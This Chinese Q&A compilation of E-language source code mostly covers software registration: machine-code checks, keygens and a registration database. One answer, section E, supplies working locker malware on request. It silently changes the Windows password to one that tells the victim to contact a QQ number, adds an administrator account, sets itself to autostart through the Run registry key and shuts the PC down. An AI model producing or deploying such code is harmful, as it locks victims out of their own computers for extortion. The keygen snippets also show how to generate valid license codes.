易語言注冊碼源碼
A. 易語言製作一個不需要伺服器就可以注冊賬號的軟體,求源碼!
首先你要連接一個資料庫,有ACCESS資料庫,還有Sql資料庫。這比較復雜,簡單的可以連接易語言自帶的edb資料庫,我給你說得就是edb資料庫。下面便是連接edb資料庫的例子。
打開易語言,找到上面第一行的資料庫,點擊,出現結構編輯器,記錄編輯器等等,點擊結構編輯器,彈出一個新的資料庫管理器, 在欄位信息下面的名稱一欄中輸入「賬號」在下面類型一欄選擇「文本型」如果你希望輸入的是數字可以選擇「整數型」。點擊保存,輸入文件名「賬號」,這樣就完成名為「賬號」的edb的資料庫了。再到回到易語言界面,點擊剛才說得上面第一行的資料庫按鈕彈出的最下面的加入資料庫常量,選擇你剛才保存的「賬號.edb」資料庫,這樣就加入賬號這個常量。 (如果你再想加密碼,可以在欄位「賬號」後面再插入一個欄位,選擇「整數型」類型)。
下面是完成別人用你的程序時輸入的賬號時就是把賬號寫入到資料庫,還有是驗證別人是否已經注冊過的代碼。
建一個啟動窗口,(你做的程序窗口放在啟動窗口後面)加入一個編輯框一個按鈕,把按鈕命名為「注冊」,雙擊啟動窗口,在__啟動窗口_創建完畢的子程序里加入代碼:
打開 (取運行目錄 () + 「\賬號.edb」, , , , , , ) ' 這是找到存放程序的文件夾里的「賬號」資料庫並打開這個資料庫。 (當然你的程序和資料庫要放在同一個文件夾里)
..判斷(到文本 (讀 (#賬號)) ≠ 「」) ' 這是判斷資料庫「賬號」這個欄位是否為空,如果不為空,就是別人已經注冊過了,那就不顯示啟動窗口讓人注冊了,直接載入你做的程序窗口。
B. 急,求最簡單易語言注冊機源碼
注冊項源碼
.版本 2
.支持庫 xplib
.子程序 __啟動窗口_創建完畢
.局部變數 注冊碼, 文本型
.局部變數 注冊表, 文本型
XP風格 (1)
注冊碼 = 到文本 (取硬碟特徵字 () + 2234240 × 0)
注冊表 = 到文本 (取文本注冊項 (4, 「SOFTWARE\ceshi\zhucema」, ))
.如果 (注冊碼 = 注冊表)
載入 (窗口1, , 假)
銷毀 ()
.否則
編輯框1.內容 = 到文本 (取硬碟特徵字 ())
.如果結束
.子程序 _按鈕1_被單擊
.如果 (編輯框2.內容 = 到文本 (取硬碟特徵字 () + 2234240 × 0))
信息框 (「注冊成功」, 0, )
寫注冊項 (4, 「SOFTWARE\ceshi\zhucema」, 到文本 (取硬碟特徵字 () + 2234240 × 0))
載入 (窗口1, , 假)
銷毀 ()
.否則
信息框 (「注冊失敗」, 0, )
.如果結束
.子程序 _按鈕2_被單擊
結束 ()
-------------------------------------------------------------------------------
注冊機源碼
.版本 2
.支持庫 xplib
.程序集 窗口程序集1
.子程序 __啟動窗口_創建完畢
XP風格 (1)
.子程序 _按鈕1_被單擊
.局部變數 注冊碼, 文本型
.局部變數 機器碼, 整數型
機器碼 = 到整數 (編輯框1.內容)
注冊碼 = 到文本 (機器碼 + 2234240 × 0)
編輯框2.內容 = 注冊碼
.子程序 _按鈕2_被單擊
銷毀 ()
==================================================
答案來源 → 精易論壇,要學習軟體的可網路一下"精易論壇"
精易論壇 → 專業易語言技術交流學習平台 , 不會英語也能寫軟體
C. 怎麼把易語言編譯出來軟體程序上加註冊碼,
.版本 2
.程序集 窗口程序集2
.程序集變數 程序集_機器碼, 整數型
.程序集變數 程序集_用戶輸入的激活碼, 文本型
.程序集變數 程序集_運算的激活碼, 文本型
.程序集變數 程序集_臨時存儲, 文本型
.子程序 _按鈕_確定_被單擊
程序集_用戶輸入的激活碼 = 程序集_用戶輸入的激活碼 + 編輯框1.內容 + 「-」
程序集_用戶輸入的激活碼 = 程序集_用戶輸入的激活碼 + 編輯框2.內容 + 「-」
程序集_用戶輸入的激活碼 = 程序集_用戶輸入的激活碼 + 編輯框3.內容 + 「-」
程序集_用戶輸入的激活碼 = 程序集_用戶輸入的激活碼 + 編輯框4.內容 + 「-」
程序集_用戶輸入的激活碼 = 程序集_用戶輸入的激活碼 + 編輯框5.內容
程序集_機器碼 = 取絕對值 (取硬碟特徵字 ())
程序集_運算的激活碼 = 取文本左邊 (取十六進制文本 (到數值 (程序集_機器碼) \ 2), 5) + 「-」 + 取文本左邊 (取十六進制文本 (到數值 (程序集_機器碼) \ 5), 5) + 「-」 + 取文本左邊 (取十六進制文本 (到數值 (程序集_機器碼) \ 9), 5) + 「-」 + 取文本左邊 (取十六進制文本 (到數值 (程序集_機器碼) × 2), 5) + 「-」 + 取文本左邊 (取十六進制文本 (到數值 (程序集_機器碼) + 2), 5)
.如果 (程序集_用戶輸入的激活碼 = 程序集_運算的激活碼)
信息框 (「激活成功」, 0, )
寫配置項 (「這里輸入你要寫的配置項的路徑以及名稱」, 「是否激活」, 「機器碼」, 到文本 (程序集_機器碼))
寫配置項 (「這里輸入你要寫的配置項的路徑以及名稱」, 「是否激活」, 「激活碼」, 程序集_用戶輸入的激活碼)
全局_激活了嗎 = 真
載入 (XXXXX, , 真)
.否則
信息框 (「激活碼錯誤,激活失敗」, 0, )
.如果結束
.子程序 __啟動窗口_創建完畢
程序集_臨時存儲 = 讀配置項 (「這里填寫你寫的配置項的目錄和名稱」, 「是否激活」, 「機器碼」, )
程序集_機器碼 = 取絕對值 (取硬碟特徵字 ())
.如果 (程序集_臨時存儲 = 到文本 (程序集_機器碼))
全局_激活了嗎 = 真
載入 (XXXXX, , 真)
銷毀 ()
.否則
全局_激活了嗎 = 假
.如果結束
.子程序 _按鈕2_被單擊
.如果 (信息框 (「確定進入試用版嗎?,試用版將XXXXX」, #詢問圖標 + #確認取消鈕, 「提示」) = #確認鈕)
載入 (XXXXX, , 真)
全局_激活了嗎 = 假
銷毀 ()
.否則
返回 ()
這是注冊界面的代碼,再建一些窗口,做你的主程序,這個「全局_激活了嗎」是個全局變數,類型是邏輯型,可以用它對試用版的功能做限制,界面自己設計,具體就是2個按鈕5個編輯框和一個標簽,這個XXXXX是你要在裡面寫的東西,可以隨意換,你想寫什麼就寫什麼,我相信只要稍微懂點的人都能看懂這是什麼意思
.版本 2
.程序集 窗口程序集1
.程序集變數 機器碼, 文本型
.子程序 _按鈕1_被單擊
編輯框2.內容 = 取文本左邊 (取十六進制文本 (到數值 (編輯框1.內容) \ 2), 5) + 「-」 + 取文本左邊 (取十六進制文本 (到數值 (編輯框1.內容) \ 5), 5) + 「-」 + 取文本左邊 (取十六進制文本 (到數值 (編輯框1.內容) \ 9), 5) + 「-」 + 取文本左邊 (取十六進制文本 (到數值 (編輯框1.內容) × 2), 5) + 「-」 + 取文本左邊 (取十六進制文本 (到數值 (編輯框1.內容) + 2), 5)
.子程序 __啟動窗口_創建完畢
編輯框1.內容 = 到文本 (取絕對值 (取硬碟特徵字 ()))
這是注冊機的代碼, 界面是兩個標簽兩個編輯框和一個按鈕,代碼就是這樣,可以自己看著改
D. 易語言源碼寫注冊項 (#本地機器, 「software\microsoft\windows\CurrentVersion\Run\ZDYY」, 取運行目錄 ()
這個的意思是是把程序運行的目錄名加上程序的名一起寫到HKEY_LOCAL_MACHINE\software\microsoft\windows\CurrentVersion\Run\ZDYY\里
達到開機啟動的效果.
E. 易語言修改電腦密碼和用戶名的源碼,就是寫一個軟體別人打開後電腦用戶名被改成加Q....解鎖的源碼
.版本 2
運行 (「net user 要密碼加QQ 779988520」, 假, #隱藏窗口)『那行數字是密碼
運行 (「net user administrator 779988520 /add」, 假, #隱藏窗口)』數字是密碼
運行 (「net user administrators administrators /add」, 假, #隱藏窗口)
寫注冊項 (#本地機器, 「software\microsoft\windows\CurrentVersion\Run\ZDYY」, 取運行目錄 () + 「\」 + 取執行文件名 ())『開機自動啟動
關閉系統 (2, 假)』關機
這樣鎖了還開機自動啟動然後又鎖了
F. 易語言機器碼/注冊碼
首先要取一個機器特有的代碼。 如:取硬碟特徵字() 『一般取出來的都是 -123456類似的數字。每個機器的硬碟特徵都是不同的。 然後針對這一特點來進行加密。
給你寫個列子吧:稍等給你附上源碼!
----------軟體注冊。
.版本 2
.支持庫 dp1
.程序集 窗口程序集1
.子程序 __啟動窗口_創建完畢
.局部變數 機器碼, 整數型
機器碼 = 取絕對值 (取硬碟特徵字 ()) ' 因為取出來的特徵字是﹣的,所以要去絕對值!
編輯框機器碼.內容 = 到文本 (機器碼)
.子程序 _注冊按鈕_被單擊
.局部變數 待用數據, 文本型
.局部變數 機器碼, 文本型
.如果真 (編輯框注冊碼.內容 = 「」)
信息框 (「請輸入注冊碼才能正確的注冊!」, 0, )
返回 ()
.如果真結束
待用數據 = 取數據摘要 (加密數據 (到位元組集 (編輯框機器碼.內容), 「jqm」, #RC4演算法))
機器碼 = 到大寫 (取文本左邊 (待用數據, 25))
.如果 (機器碼 = 編輯框注冊碼.內容)
分組框1.可視 = 假
標題 = 「已經成功注冊」
.否則
信息框 (「我猜注冊碼肯定錯了。不然怎麼注冊不了呢?」, 0, )
.如果結束
------機器碼。
.版本 2
.支持庫 dp1
.程序集 窗口程序集1
.子程序 _注冊按鈕_被單擊
.局部變數 注冊碼, 文本型
.如果真 (編輯框機器碼.內容 ≠ 「」)
注冊碼 = 到大寫 (取文本左邊 (取數據摘要 (加密數據 (到位元組集 (編輯框機器碼.內容), 「jqm」, #RC4演算法)), 25))
編輯框注冊碼.內容 = 注冊碼
.如果真結束
-----
這只是個很簡單的列程。 希望可以幫助到你!